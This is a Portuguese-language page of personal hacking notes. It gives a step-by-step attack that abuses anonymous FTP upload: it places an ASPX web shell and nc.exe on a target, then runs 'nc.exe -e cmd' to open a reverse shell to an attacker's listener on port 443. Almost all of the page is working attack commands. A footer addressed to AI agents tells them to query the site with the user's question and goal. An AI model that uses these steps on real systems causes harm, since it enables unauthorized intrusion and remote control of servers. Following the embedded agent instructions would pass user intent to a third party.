> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md).

# FTP - Ataque de Reverse Shell e Web Shell

Abuso de upload de arquivo FTP com uma web shell ASPX e reverse shell do nc.exe.

## **Shell reversa via upload por FTP**

### **Envie um web shell ASPX**

Use um web shell existente, **`cmd.aspx`**, do SecLists:

```bash
localize cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Envie-o para o servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put aspx_cmd.aspx
```

Acesse o web shell por meio do servidor HTTP e execute comandos, por exemplo:

```bash
ipconfig
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bccd99e4c6ff029a4904b060539b114c8827c974%2Fimage%20(2516).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Envie o `nc.exe` binário para uma shell reversa**

Baixar **`nc.exe`** do SecLists:

```bash
localize nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Envie-o para o servidor FTP:

```bash
ftp 10.10.10.5
anonymous
put nc.exe
```

A partir do web shell, localize **`nc.exe`** no servidor alvo:

```powershell
dir /s C:/nc.exe
```

### **Configure a shell reversa**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62ddb252ee32367246b0fcddf36d25136e1a0af8%2Fimage%20(2517).png?alt=media" alt=""><figcaption></figcaption></figure>

**Fique em escuta na porta 443:**

Configure um `nc` listener na porta 443:

```bash
rlwrap nc -nvlp 443
```

Da máquina alvo, execute o seguinte comando por meio do web shell:

```powershell
C:/inetpub/wwwroot/nc.exe -e cmd 10.10.14.26 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbbed5f1aa79caa6d8a1bf29a5fb65a21b02451e%2Fimage%20(2518).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
